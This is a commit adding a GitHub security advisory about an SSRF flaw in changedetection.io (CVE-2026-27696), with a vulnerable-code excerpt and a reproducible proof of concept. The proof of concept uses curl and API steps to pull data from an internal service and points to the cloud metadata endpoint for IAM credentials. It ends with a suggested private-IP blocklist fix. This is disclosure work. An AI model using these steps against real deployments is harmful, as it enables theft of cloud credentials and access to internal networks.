Skip to content

Commit e6d2a5a

Browse files
1 parent 312cb1f commit e6d2a5a

1 file changed

Lines changed: 65 additions & 0 deletions

File tree

Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-3c45-4pj5-ch7m",
4+
"modified": "2026-02-25T19:08:18Z",
5+
"published": "2026-02-25T19:08:18Z",
6+
"aliases": [
7+
"CVE-2026-27696"
8+
],
9+
"summary": "changedetection.io is Vulnerable to SSRF via Watch URLs",
10+
"details": "## Summary\n\nChangedetection.io is vulnerable to Server-Side Request Forgery (SSRF) because the URL validation function `is_safe_valid_url()` does not validate the resolved IP address of watch URLs against private, loopback, or link-local address ranges. An authenticated user (or any user when no password is configured, which is the default) can add a watch for internal network URLs such as:\n\n- `http://169.254.169.254`\n- `http://10.0.0.1/`\n- `http://127.0.0.1/`\n\nThe application fetches these URLs server-side, stores the response content, and makes it viewable through the web UI — enabling full data exfiltration from internal services.\n\nThis is particularly severe because:\n\n- The fetched content is stored and viewable - this is not a blind SSRF\n- Watches are fetched periodically - creating a persistent SSRF that continuously accesses internal resources\n- By default, no password is set - the web UI is accessible without authentication\n- Self-hosted deployments typically run on cloud infrastructure where `169.254.169.254` returns real IAM credentials\n\n---\n\n## Details\n\nThe URL validation function `is_safe_valid_url()` in `changedetectionio/validate_url.py` (lines 60–122) validates the URL protocol (http/https/ftp) and format using the `validators` library, but does not perform any DNS resolution or IP address validation:\n\n```python\n# changedetectionio/validate_url.py:60-122\n@lru_cache(maxsize=1000)\ndef is_safe_valid_url(test_url):\n\n safe_protocol_regex = '^(http|https|ftp):'\n\n # Check protocol\n pattern = re.compile(os.getenv('SAFE_PROTOCOL_REGEX', safe_protocol_regex), re.IGNORECASE)\n if not pattern.match(test_url.strip()):\n return False\n\n # Check URL format\n if not validators.url(test_url, simple_host=True):\n return False\n\n return True # No IP address validation performed\n```\n\nThe HTTP fetcher in `changedetectionio/content_fetchers/requests.py` (lines 83–89) then makes the request without any additional IP validation:\n\n```python\n# changedetectionio/content_fetchers/requests.py:83-89\nr = session.request(method=request_method,\n url=url, # User-provided URL, no IP validation\n headers=request_headers,\n timeout=timeout,\n proxies=proxies,\n verify=False)\n```\nThe response content is stored and made available to the user:\n\n```python\n# changedetectionio/content_fetchers/requests.py:140-142\nself.content = r.text # Text content stored\nself.raw_content = r.content # Raw bytes stored\n```\nThis validation gap exists in all entry points that accept watch URLs:\n\n- Web UI: `changedetectionio/store/__init__.py:718`\n- REST API: `changedetectionio/api/watch.py:163, 428`\n- Import API: `changedetectionio/api/import.py:188`\n\nAll use the same `is_safe_valid_url()` function, so a single fix addresses all paths.\n\n---\n\n## PoC\n\n### Prerequisites\n\n- A changedetection.io instance (Docker deployment)\n- Network access to the instance (default port 5000)\n\n### Step 1: Deploy changedetection.io with an internal service\n\nCreate `internal-service.py`:\n```python\n#!/usr/bin/env python3\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nimport json\nclass H(BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200)\n self.send_header('Content-Type', 'application/json')\n self.end_headers()\n self.wfile.write(json.dumps({\n 'Code': 'Success',\n 'AccessKeyId': 'AKIAIOSFODNN7EXAMPLE',\n 'SecretAccessKey': 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY',\n 'Token': 'FwoGZXIvYXdzEBYaDExampleSessionToken'\n }).encode())\nHTTPServer(('0.0.0.0', 80), H).serve_forever()\n```\n\nCreate `Dockerfile.internal`:\n```\nFROM python:3.11-slim\nCOPY internal-service.py /server.py\nCMD [\"python3\", \"/server.py\"]\n```\n\nCreate `docker-compose.yml`:\n```yaml\nversion: \"3.8\"\nservices:\n changedetection:\n image: ghcr.io/dgtlmoon/changedetection.io\n ports:\n - \"5000:5000\"\n volumes:\n - ./datastore:/datastore\n\n internal-service:\n build:\n context: .\n dockerfile: Dockerfile.internal\n```\n\nStart the stack:\n\n```bash\ndocker compose up -d\n```\n\n### Step 2: Add a watch for the internal service\n\nOpen `http://localhost:5000/` in a browser (no password required by default).\n\nIn the URL field, enter:\n```\nhttp://internal-service/\n```\nClick **Watch** and wait for the first check to complete.\n\n### Step 3: View the exfiltrated data\n\nClick on the watch entry, then click **Preview**. The page displays the internal service’s response containing the simulated credentials:\n```json\n{\n \"Code\": \"Success\",\n \"AccessKeyId\": \"AKIAIOSFODNN7EXAMPLE\",\n \"SecretAccessKey\": \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\",\n ...\n}\n```\n<img width=\"2291\" height=\"780\" alt=\"Screenshot 2026-02-16 084212\" src=\"https://github.com/user-attachments/assets/115b69fb-ea10-4c47-a38c-409ede0e03cd\" />\n\n### Step 4: Verify via API (alternative)\n```bash\n# Get the API key (visible in Settings page of the unauthenticated web UI)\nAPI_KEY=$(docker compose exec changedetection cat /datastore/url-watches.json | \\\n python3 -c \"import sys,json; print(json.load(sys.stdin)['settings']['application']['api_access_token'])\")\n\n# Create a watch via API\nWATCH_RESPONSE=$(curl -s -X POST \"http://localhost:5000/api/v1/watch\" \\\n -H \"x-api-key: $API_KEY\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"url\": \"http://internal-service/\"}')\n\nWATCH_UUID=$(echo \"$WATCH_RESPONSE\" | python3 -c \"import sys,json; print(json.load(sys.stdin)['uuid'])\")\necho \"Watch created: $WATCH_UUID\"\n\n# Wait for the first fetch to complete\necho \"Waiting 30s for first fetch...\"\nsleep 30\n\n# Retrieve the exfiltrated data via API\nLATEST_TS=$(curl -s \"http://localhost:5000/api/v1/watch/$WATCH_UUID/history\" \\\n -H \"x-api-key: $API_KEY\" | \\\n python3 -c \"import sys,json; h=json.load(sys.stdin); print(sorted(h.keys())[-1]) if h else print('')\")\n\necho \"=== EXFILTRATED DATA ===\"\ncurl -s \"http://localhost:5000/api/v1/watch/$WATCH_UUID/history/$LATEST_TS\" \\\n -H \"x-api-key: $API_KEY\"\n```\nExpected output — the internal service’s response containing simulated credentials:\n```json\n{\n \"Code\": \"Success\",\n \"AccessKeyId\": \"AKIAIOSFODNN7EXAMPLE\",\n \"SecretAccessKey\": \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\",\n ...\n}\n```\n\nIn a real cloud deployment, replacing `http://internal-service/` with:\n\n```bash\nhttp://169.254.169.254/latest/meta-data/iam/security-credentials/\n```\nwould return real AWS IAM credentials.\n\n<img width=\"1140\" height=\"607\" alt=\"Screenshot 2026-02-16 084407\" src=\"https://github.com/user-attachments/assets/cb1f5c02-6604-49e6-9e26-13406b190b45\" />\n\n---\n\n## Impact\n\n**Who is impacted:** \nAll self-hosted changedetection.io deployments, particularly those running on cloud infrastructure (AWS, GCP, Azure) where the instance metadata service at `169.254.169.254` is accessible.\n\n**What an attacker can do:**\n\n- **Steal cloud credentials:** Access the cloud metadata endpoint to obtain IAM credentials, service account tokens, or managed identity tokens\n- **Scan internal networks:** Discover internal services by adding watches for internal IP ranges and observing responses\n- **Access internal services:** Read data from internal APIs, databases, and admin interfaces that are not exposed to the internet\n- **Persistent access:** Watches are fetched periodically on a configurable schedule, providing continuous access to internal resources\n- **No authentication required by default:** The web UI has no password set by default, allowing any user with network access to exploit this vulnerability\n\n---\n\n### Suggested Remediation\n\nAdd IP address validation to `is_safe_valid_url()` in `changedetectionio/validate_url.py`:\n\n```python\nimport ipaddress\nimport socket\n\nBLOCKED_NETWORKS = [\n ipaddress.ip_network('127.0.0.0/8'), # Loopback\n ipaddress.ip_network('10.0.0.0/8'), # Private (RFC 1918)\n ipaddress.ip_network('172.16.0.0/12'), # Private (RFC 1918)\n ipaddress.ip_network('192.168.0.0/16'), # Private (RFC 1918)\n ipaddress.ip_network('169.254.0.0/16'), # Link-local / Cloud metadata\n ipaddress.ip_network('::1/128'), # IPv6 loopback\n ipaddress.ip_network('fc00::/7'), # IPv6 unique local\n ipaddress.ip_network('fe80::/10'), # IPv6 link-local\n]\n\ndef is_private_ip(hostname):\n \"\"\"Check if a hostname resolves to a private/reserved IP address.\"\"\"\n try:\n for info in socket.getaddrinfo(hostname, None):\n ip = ipaddress.ip_address(info[4][0])\n for network in BLOCKED_NETWORKS:\n if ip in network:\n return True\n except socket.gaierror:\n return True # Block unresolvable hostnames\n return False\n```\n\nThen add to `is_safe_valid_url()` before the final `return True`:\n\n```python\n# Check for private/reserved IP addresses\nparsed = urlparse(test_url)\nif parsed.hostname and is_private_ip(parsed.hostname):\n logger.warning(f\"URL '{test_url}' resolves to a private/reserved IP address\")\n return False\n```\n\nAn environment variable (e.g., `ALLOW_PRIVATE_IPS=true`) could be provided for users who intentionally need to monitor internal services.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "changedetection.io"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.54.1"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-3c45-4pj5-ch7m"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27696"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/dgtlmoon/changedetection.io/commit/fe7aa38c651d73fe5f41ce09855fa8f97193747b"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/dgtlmoon/changedetection.io"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-918"
59+
],
60+
"severity": "HIGH",
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-02-25T19:08:18Z",
63+
"nvd_published_at": "2026-02-25T05:17:26Z"
64+
}
65+
}

0 commit comments

Comments
 (0)